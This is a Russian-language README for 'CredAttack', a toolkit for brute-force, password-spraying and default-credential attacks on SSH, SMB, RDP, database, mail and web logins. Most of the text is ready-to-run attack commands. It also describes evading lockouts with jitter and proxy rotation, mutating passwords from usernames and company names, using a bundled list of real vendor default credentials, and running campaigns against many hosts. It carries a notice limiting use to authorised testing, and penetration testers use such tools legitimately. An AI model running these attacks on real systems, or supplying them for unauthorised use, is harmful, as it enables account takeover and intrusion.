
credential-attacks-toolkit — Updated!
Полный набор инструментов для атак на учётные данные при авторизованном тестировании безопасности — SSH, FTP, веб-логин, брутфорс, атаки по словарю
CredAttack — Набор инструментов для атак на учётные данные
⚠️ ПРАВОВОЕ УВЕДОМЛЕНИЕ — ТОЛЬКО авторизованное тестирование безопасности.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным в соответствии с Computer Fraud and Abuse Act (США), Computer Misuse Act (Великобритания) и аналогичными законами по всему миру. См. SECURITY.md.
Содержание
- Что такое CredAttack?
- Режимы атак
- Поддерживаемые протоколы
- Архитектура
- Быстрый старт
- Установка
- Справочник CLI
- Движок мутации паролей
- База данных учётных данных по умолчанию
- Ротация прокси
- HTML-отчёты
- Конфигурация и переменные окружения
- Docker
- Тестирование
- Структура проекта
- Участие в разработке
Что такое CredAttack?
CredAttack — это модульный, готовый к продакшену набор для тестирования учётных данных, предназначенный для авторизованных пентестов. Он охватывает полный жизненный цикл атаки на учётные данные:
| Фаза | Возможность CredAttack |
|---|---|
| Разведка | База учётных данных по умолчанию (200+ пар), умная генерация шаблонов на основе имени пользователя |
| Атака | 17 протокольных атакующих модулей, 6 режимов атак, кампании по нескольким целям |
| Уклонение | Обнаружение блокировок, настраиваемое ограничение скорости, джиттер, ротация прокси |
| Отчётность | Журнал аудита JSONL, HTML-отчёт Jinja2, баннер найденных учётных данных + выгрузка в файл |
Режимы атак
| Режим | Команда | Описание |
|---|---|---|
| Словарный | ssh, ftp, smb, … | Список слов против одного пользователя |
| Распыление | spray | Один пароль по списку пользователей (безопасно от блокировок) |
| Комбинированный | combo | Каждый пользователь × каждый пароль |
| Умный | smart | Генерация шаблонов на основе имени пользователя/компании |
| По умолчанию | defaults | Перебор 200+ известных значений по умолчанию для сервисов |
| Многоцелевой | multi | Одна и та же атака по списку хостов |
| Полный конвейер | full | Все протоколы, один отчёт |
Поддерживаемые протоколы
| # | Протокол | Модуль | Порт по умолчанию | Примечания |
|---|---|---|---|---|
| 1 | SSH | ssh.py | 22 | paramiko, аутентификация по ключу/паролю |
| 2 | FTP | ftp.py | 21 | Активный и пассивный режимы |
| 3 | HTTP Form | http_form.py | 80/443 | Автоопределение CSRF-токена |
| 4 | HTTP Basic | http_basic.py | 80 | RFC 7617 |
| 5 | HTTP Digest | http_digest.py | 80 | RFC 7616 |
| 6 | SMB | smb.py | 445 | impacket, NTLM |
| 7 | RDP | rdp.py | 3389 | impacket NLA |
| 8 | SMTP | smtp.py | 587 | STARTTLS |
| 9 | POP3 | pop3.py | 110 | Поддержка APOP |
| 10 | IMAP | imap.py | 143 | STARTTLS |
| 11 | MySQL | mysql.py | 3306 | mysql-connector-python |
| 12 | MSSQL | mssql.py | 1433 | pymssql |
| 13 | Redis | redis_proto.py | 6379 | Команда AUTH |
| 14 | MongoDB | mongodb.py | 27017 | pymongo |
| 15 | WinRM | winrm.py | 5985 | NTLM, pywinrm |
| 16 | LDAP | ldap_proto.py | 389 | ldap3, автоопределение rootDSE |
| 17 | Telnet | telnet.py | 23 | Сырой TCP |
| 18 | VNC | vnc.py | 5900 | Сырой DES challenge-response |
Архитектура
credattack.py ← тонкий переходник: `python credattack.py ...` из клонированного репозитория
│
├── credattack/cli.py ← CLI (Typer) — 8 подкоманд режимов атак; также
│ консольный скрипт `credattack` при установке через pip
├── credattack/core/
│ ├── config.py ← Pydantic v2 Settings, переопределение через переменные окружения CREDATTACK_*
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + Rich progress UI)
│ ├── lockout.py ← LockoutDetector (скользящее окно, потокобезопасный)
│ ├── proxy.py ← ProxyRotator (round-robin, проверка работоспособности, понижение)
│ ├── mutator.py ← PasswordMutator (leet, сезонные, суффиксы, клавиатурный обход…)
│ ├── result.py ← Датклассы AttemptResult + SessionReport
│ ├── report.py ← Генератор HTML-отчётов Jinja2
│ └── logger.py ← Логирование Rich + запись журнала аудита JSONL
│
├── credattack/protocols/
│ └── *.py ← 18 реализаций ProtocolAttacker
│
├── credattack/data/
│ ├── default_creds.json ← 200+ реальных пар учётных данных по умолчанию
│ ├── smart_patterns.json ← 140+ корпоративных шаблонов паролей
│ └── wordlists/ ← Списки паролей по умолчанию для каждого сервиса
│
└── tests/ ← 50+ тестов pytest (модульные + моки протоколов)
Быстрый старт
# Клонирование и настройка
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# Проверка версии
python credattack.py --version
# Пробный запуск (без подключений — проверьте свои списки слов)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# Реальная словарная атака SSH
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# Распыление пароля (с ограничением скорости, безопасно от блокировок)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# Умный режим — генерация шаблонов из имени пользователя + компании
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# Перебор значений по умолчанию для сервиса
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# Многоцелевая кампания
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
Установка
Вариант A — pip + virtualenv (рекомендуется)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
Вариант B — сокращения Makefile
make install # основные зависимости
make install-dev # + pytest-cov, ruff, mypy
Вариант C — установка через pip (редактируемая или из колеса)
pip install -e . # только основные зависимости
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # консольный скрипт, эквивалент `python credattack.py`
Вариант D — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# Подключите свои списки слов и соберите вывод
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
Справочник CLI
Глобальные параметры
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version Показать версию и выйти.
--help Показать справку.
Общие флаги (доступны во всех командах протоколов)
| Флаг | Короткий | По умолчанию | Описание |
|---|---|---|---|
--target | -t | — | Целевой хост / IP |
--port | 0 (по умолчанию протокола) | Переопределить TCP-порт | |
--username | -u | — | Одно имя пользователя |
--user-file | -U | — | Файл с именами пользователей (по одному в строке) |
--pass-file | -P | — | Файл с паролями (по одному в строке) |
--password | -p2 | — | Один пароль |
--threads | -n | 10 | Параллельные рабочие потоки |
--timeout | -T | 5.0 | Таймаут на попытку (с) |
--delay | -d | 0.0 | Фиксированная задержка между попытками (с) |
--jitter | 0.0 | Максимальный случайный джиттер (с) | |
--stop-on-first | True | Остановить для пользователя после первого успеха | |
--proxy-file | None | Список прокси HTTP/SOCKS5 | |
--output-dir | -o | ./output | Каталог результатов |
--verbosity | -v | 1 | Уровень логирования (0-3) |
--dry-run | False | Подсчёт пар без подключения |
Подкоманды
# Специфичные для протокола (каждая сопоставлена с отдельным атакующим модулем)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (form / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# Распыление — один пароль, много пользователей, длинная задержка
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# Комбинированный — декартово произведение пользователей × паролей
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# Умный — генерация на основе OSINT
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# По умолчанию — перебор учётных данных вендора по умолчанию
python credattack.py defaults -t HOST --protocol mysql
# Многоцелевой — одна и та же атака по нескольким хостам
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# Полный — все протоколы последовательно
python credattack.py full -t HOST -U users.txt -P passes.txt
Движок мутации паролей
PasswordMutator в credattack/core/mutator.py поддерживает комбинируемые стратегии:
| Стратегия | Метод | Пример вывода |
|---|---|---|
| Leet-говор | leet_speak(word) | p@ssw0rd, p455w0rd |
| Регистр | capitalise_variants(word) | PASSWORD, Password, pAsSwOrD |
| Суффикс | suffix_append(word) | password123, password@2025 |
| Префикс | prefix_append(word) | !password, mypassword |
| Клавиатурный обход | keyboard_walk(word) | qassword (a→q) |
| Шаблоны имён пользователей | username_patterns(user, company) | john123, Doe1!, ACME2024! |
| Сезонные (v1.1) | seasonal_patterns(company) | Summer2024!, Winter25 |
| Обёртка спецсимволами (v1.1) | special_char_wrap(word) | !@Password, Password!@ |
| Комбинирование | combine(word, strategies) | объединяет любые из вышеперечисленных |
| Умный (всё-в-одном) | smart_generate(user, company) | дедуплицированный, ограниченный поток |
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# Все стратегии вместе
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# Только сезонные шаблоны
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
База данных учётных данных по умолчанию
credattack/data/default_creds.json содержит 200+ реальных пар учётных данных по умолчанию для:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# Просмотр всех значений по умолчанию для сервиса
python credattack.py defaults -t HOST --protocol mysql --dry-run
# Запуск против цели
python credattack.py defaults -t 10.0.0.1 --protocol ssh
Ротация прокси
Передайте файл прокси (по одному прокси в строке, формат host:port):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
ProxyRotator выполняет проверки работоспособности при запуске и понижает прокси, превышающие порог частоты ошибок. Мёртвые прокси автоматически исключаются.
HTML-отчёты
После каждой атаки (не в режиме dry-run) автоматически генерируется HTML-отчёт в ./output/:
- Карточки статистики: общее количество попыток, процент успеха, длительность, попыток/сек
- Таблица найденных учётных данных: хост · протокол · имя пользователя · пароль (копирование в буфер обмена)
- Шаблон Jinja2 с тёмной темой
# Открыть после запуска
start output/report_*.html # Windows
open output/report_*.html # macOS
Конфигурация и переменные окружения
Все настройки в credattack/core/config.py можно переопределить через переменные окружения CREDATTACK_*:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
Или на уровне CLI со стандартными флагами (--threads, --timeout и т. д.).
Docker
# Сборка образа
docker build -t credattack -f docker/Dockerfile .
# Запуск с Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# Настройка через переменные окружения
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
Тестирование
# Запуск всех тестов
pytest -q
# С покрытием
pytest --cov=credattack --cov-report=term-missing -q
# Сокращение Makefile
make test-cov
Текущий набор: 50+ тестов, охватывающих:
| Область | Тесты |
|---|---|
| Детектор блокировок (скользящее окно, потокобезопасность) | test_lockout.py |
| Стратегии мутатора паролей | test_mutator.py |
| Новые стратегии мутатора (сезонные, спецсимволы) | test_mutator_extended.py |
| Ротатор прокси (проверка работоспособности, понижение) | test_proxy.py |
| Датклассы Result и SessionReport | test_result.py |
| Мок протокола SSH | test_protocols_ssh.py |
| Мок протокола FTP | test_protocols_ftp.py |
| Моки HTTP Basic и Digest | test_protocols_http.py |
Списки слов
⚠️ Встроенные файлы
wordlists/— это минимальные заглушки для проверки работоспособности. Для реальных оценок используйте собственные.
Рекомендуемые источники
| Список слов | Размер | Лучше всего подходит для |
|---|---|---|
rockyou.txt | ~14 M | Общий словарь |
SecLists/Passwords/ | Различный | Специфичный для протокола |
kaonashi.txt | ~64 M | Расширенное покрытие |
| На основе OSINT | Переменный | Целевые атаки |
# Использование любого внешнего списка слов
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
Структура проекта
credential-attacks-toolkit/
├── credattack.py # Тонкий переходник -> credattack.cli:app (использование из исходников)
├── pyproject.toml # Сборка PEP 517/518 и конфигурация инструментов
├── requirements.txt # Зависимости времени выполнения
├── Makefile # Сокращения для разработчиков
├── VERSION # Единый источник версии
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + матрица тестов + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — упакованный, поддерживает консольный скрипт
│ ├── core/
│ │ ├── config.py # Pydantic v2 Settings
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (скользящее окно)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # Генератор HTML-отчётов
│ │ └── logger.py # Логгер Rich + запись JSONL
│ ├── protocols/ # 18 реализаций ProtocolAttacker
│ │ └── base.py # Абстрактный ProtocolAttacker
│ └── data/
│ ├── default_creds.json # 200+ значений по умолчанию от вендоров
│ ├── smart_patterns.json # 140+ корпоративных шаблонов
│ └── wordlists/ # Стартовые списки для каждого сервиса
├── attacks/ # Автономные однофайловые инструменты (предшествуют credattack/;
│ └── *.py # сохранены для скриптов, ещё не перенесённых: взлом JWT,
│ # обнаружение WAF, перечисление пользователей по времени)
├── utils/
│ └── credential_utils.py # Общие помощники для скриптов attacks/
├── tests/
│ ├── conftest.py # Общие фикстуры
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # Минимальные заглушки для проверки работоспособности
└── output/ # Сгенерированные журналы и отчёты (в git-игноре)
Показатели успешности атак (ориентировочные)
| Тип пароля | Словарный | Умный режим | Распыление (распространённые) |
|---|---|---|---|
| 4 символа | ~90% | ~95% | ~60% |
| 6 символов | ~65% | ~75% | ~25% |
| 8 символов смешанные | ~15% | ~25% | ~5% |
| 10+ символов сложные | <5% | <5% | <1% |
Участие в разработке
См. CONTRIBUTING.md.
Пожалуйста, открывайте issue перед отправкой крупных PR.
Все contributions должны соответствовать политике этичного использования в SECURITY.md.
Используйте ответственно. Тестируйте этично. Оставайтесь в рамках закона.